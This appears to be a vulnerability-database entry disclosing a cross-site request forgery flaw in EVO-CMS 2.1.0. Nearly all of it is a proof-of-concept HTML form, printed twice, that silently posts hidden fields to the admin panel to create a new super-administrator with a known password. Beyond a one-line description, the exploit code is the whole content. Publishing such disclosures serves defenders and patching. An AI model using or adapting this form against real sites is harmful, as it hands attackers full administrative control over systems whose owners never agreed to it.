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EVO-CMS 2.1.0 Cross Site Request Forgery
`# Affected software: evo cms
# Type of vulnerability: adding new admin (csrf)
# URL: http://www.evo-german.com/
# Discovered by: Provensec
# Website: http://www.provensec.com
#version:EVO-CMS 2.1.0
# Proof of concept
attacker was able to add new admin as there were no protection against csrf
poc
<html>
<body>
<form action="http://demo.opensourcecms.com/evocms/admin.php" method="POST">
<input type="hidden" name="authors[add_name]" value="test" />
<input type="hidden" name="authors[add_aid]"
value="test123" />
<input type="hidden" name="authors[add_email]"
value="[email protected]" />
<input type="hidden" name="authors[add_url]"
value="http://demo.opensourcecms.com/evocms/" />
<input type="hidden" name="authors[add_admlanguage]"
value="english" />
<input type="hidden" name="authors[add_radminsuper]"
value="1" />
<input type="hidden" name="authors[add_pwd]"
value="test123" />
<input type="hidden" name="authors[add_pwd2]"
value="test123" />
<input type="hidden" name="op" value="addadmin" />
<input type="hidden" name="module" value="authors" />
<input type="hidden" name="submit" value="Create Administrator" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
poc:
<html>
<body>
<form action="http://demo.opensourcecms.com/evocms/admin.php" method="POST">
<input type="hidden" name="authors[add_name]" value="test" />
<input type="hidden" name="authors[add_aid]"
value="test123" />
<input type="hidden" name="authors[add_email]"
value="[email protected]" />
<input type="hidden" name="authors[add_url]"
value="http://demo.opensourcecms.com/evocms/" />
<input type="hidden" name="authors[add_admlanguage]"
value="english" />
<input type="hidden" name="authors[add_radminsuper]"
value="1" />
<input type="hidden" name="authors[add_pwd]"
value="test123" />
<input type="hidden" name="authors[add_pwd2]"
value="test123" />
<input type="hidden" name="op" value="addadmin" />
<input type="hidden" name="module" value="authors" />
<input type="hidden" name="submit" value="Create Administrator" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
`
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24 Feb 2015 00:00Current
0.8Low risk
Vulners AI Score0.8